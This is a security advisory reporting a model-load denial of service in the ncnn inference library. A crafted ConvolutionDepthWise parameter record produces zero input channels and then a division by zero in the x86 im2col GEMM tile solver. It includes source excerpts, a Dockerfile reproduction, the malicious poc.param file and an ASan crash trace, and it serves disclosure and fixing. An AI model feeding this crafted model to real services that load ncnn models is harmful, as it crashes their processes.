Zero-Channel Convolution Causes Model-Load DoS
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_im2col_gemm.h:3373 in convolution_im2col_gemm_get_optimal_tile_mnk
Sanitizer verdict: FPE on unknown address 0x5b42e67e02cd (pc 0x5b42e67e02cd bp 0x7ffc5dc845c0 sp 0x7ffc5dc84410 T0)
Summary
A ConvolutionDepthWise record whose num_output and group are both huge while
weight_data_size is 1 makes ncnn build per-group convolutions with zero input channels.
The x86 im2col GEMM tile solver then computes a tile count of zero and divides by it, killing
the process with SIGFPE inside Net::load_model — before any inference is requested. The
proof of concept uses ncnnoptimize, but the fault is in create_pipeline, so every x86
consumer that merely loads the model is affected.
Detail
The untrusted fields are parameter ids 0 (num_output), 6 (weight_data_size) and 7
(group) of a ConvolutionDepthWise record. ConvolutionDepthWise_x86::create_group_ops
derives the channel count from them with a chain of integer divisions and then sizes the
group-op vector to the raw group value:
// src/layer/x86/convolutiondepthwise_x86.cpp:139
int ConvolutionDepthWise_x86::create_group_ops(const Option& opt)
{
// create Convolution op for each group
const int maxk = kernel_w * kernel_h;
int channels = (weight_data_size / group) / maxk / (num_output / group) * group;
for (int i = 0; i < (int)group_ops.size(); i++)
delete group_ops[i];
group_ops.clear();
const int channels_g = channels / group;
const int num_output_g = num_output / group;
group_ops.resize(group);
With weight_data_size == 1, group == num_output == 100000000 and maxk == 1, line 143
evaluates (1 / 100000000) / 1 / (100000000 / 100000000) * 100000000, which is
0 / 1 / 1 * 100000000 == 0. channels_g is therefore 0, and each sub-convolution is
configured on line 176 with weight_data_size = maxk * channels_g * num_output_g = 0 while
num_output_g = 1. group_ops.resize(group) on line 153 also commits 100 million pointers on
the way there.
Inside the sub-convolution, src/layer/x86/convolution_x86.cpp:302 computes
num_input = weight_data_size / kernel_size / num_output, i.e. 0, and line 472 passes it to
convolution_im2col_gemm_transform_kernel, where K = inch * maxk is 0. The tile solver
derives its tile count from K and then divides by it:
// src/layer/x86/convolution_im2col_gemm.h:3361
#if __AVX512F__
TILE_K = std::max(16, tile_size / 16 * 16);
#elif __AVX__
TILE_K = std::max(8, tile_size / 8 * 8);
#elif __SSE2__
TILE_K = std::max(4, tile_size / 4 * 4);
#else
TILE_K = std::max(2, tile_size / 2 * 2);
#endif
int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);
On an AVX-512 build TILE_K starts at std::max(16, ...), so nn_K = (0 + 16 - 1) / 16 is
0, and line 3373 evaluates (K + nn_K - 1) / nn_K — a division by zero. The path is reached
from Net::load_model at src/net.cpp:2094 (layer->create_pipeline), which
tools/ncnnoptimize.cpp:2797 invokes on the attacker-supplied .bin. Neither
ConvolutionDepthWise::load_param nor create_group_ops verifies that the derived channel
count is non-zero or that weight_data_size is consistent with
num_output * group * maxk.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-channel-convolution-causes-model-load-dos && cd ncnn-poc-zero-channel-convolution-causes-model-load-dos
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
1 1
ConvolutionDepthWise dw 0 1 out 0=100000000 1=1 6=1 7=100000000
EOF
head -c 8 /dev/zero > poc.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x6172b0cbf2cd (pc 0x6172b0cbf2cd bp 0x7ffd74758d00 sp 0x7ffd74758b50 T0)
#0 0x6172b0cbf2cd in convolution_im2col_gemm_get_optimal_tile_mnk /ncnn/src/layer/x86/convolution_im2col_gemm.h:3373
#1 0x6172b0d13f66 in convolution_im2col_gemm_transform_kernel /ncnn/src/layer/x86/convolution_im2col_gemm.h:5514
#2 0x6172b13c7734 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:472
#3 0x6172b55e2585 in ncnn::ConvolutionDepthWise_x86_avx512::create_group_ops(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:228
#4 0x6172b55d212a in ncnn::ConvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:131
#5 0x6172b05e6c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#6 0x6172b05e790a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
#7 0x6172b05e7c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
#8 0x6172b04facaf in main /ncnn/tools/ncnnoptimize.cpp:2797
#9 0x7b45906f61c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x7b45906f628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#11 0x6172b047a624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_im2col_gemm.h:3373 in convolution_im2col_gemm_get_optimal_tile_mnk
==1==ABORTING
Credit
Zheng Yu @ DepthFirst